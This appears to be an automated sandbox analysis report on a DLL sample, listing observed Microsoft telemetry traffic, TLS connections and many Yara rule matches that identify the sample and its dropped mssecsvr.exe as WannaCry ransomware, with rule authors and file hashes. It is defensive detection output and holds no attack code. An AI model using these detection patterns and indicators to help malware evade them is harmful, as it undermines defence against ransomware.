Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023209Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023210Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023212Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023214Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023215Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023220Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023221Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023223Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220721T023224Z&asid=06278ea804e74d4c8c813acfbb518d91&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1198638650&PG=PC000P0FR5.0000000IRT&REQASID=4D736A9DA3D44005B13E152F19959C70&UNID=338388&ASID=3fd2898f786a47c297fba5fc1e416d2e&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=737f84ad2bf940a7a82a55a5604f8b39&DEVOSVER=10.0.17134.1&REQT=20220720T173048&TIME=20220721T023128Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1198638650&PG=PC000P0FR5.0000000IRT&REQASID=4D736A9DA3D44005B13E152F19959C70&UNID=338388&ASID=3fd2898f786a47c297fba5fc1e416d2e&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=737f84ad2bf940a7a82a55a5604f8b39&DEVOSVER=10.0.17134.1&REQT=20220720T173048&TIME=20220721T023131Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com

Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.7:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.7:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.7:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.7:50201 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50314 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50394 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50511 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50536 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50589 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50590 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50617 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50618 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:51021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:51203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.82.209.183:443 -> 192.168.2.7:51291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:51663 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:52064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:52454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:53463 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:53528 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:54061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:54203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:54343 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:54421 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:54566 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:54592 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:54669 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.7:54670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:54747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:54825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:54957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:54962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:55066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:55125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:55228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:55280 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:55367 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:55441 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:55771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:55774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:56276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:56360 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:58449 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:61624 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.7:64727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.7:64726 version: TLS 1.2

Source: mssecsvr.exe, 00000004.00000002.387152135.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Wannacry ransomware

Source: Yara match	File source: goN6vVlV2F.dll, type: SAMPLE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.376518718.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.373732316.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.386641077.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.388787392.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.375076544.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.379857327.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.978124182.000000000042E000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.377766453.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.379947930.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.376559457.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.371236467.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.382468537.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 3564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 3252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 6236, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\mssecsvr.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: goN6vVlV2F.dll, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)

Source: goN6vVlV2F.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: goN6vVlV2F.dll, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
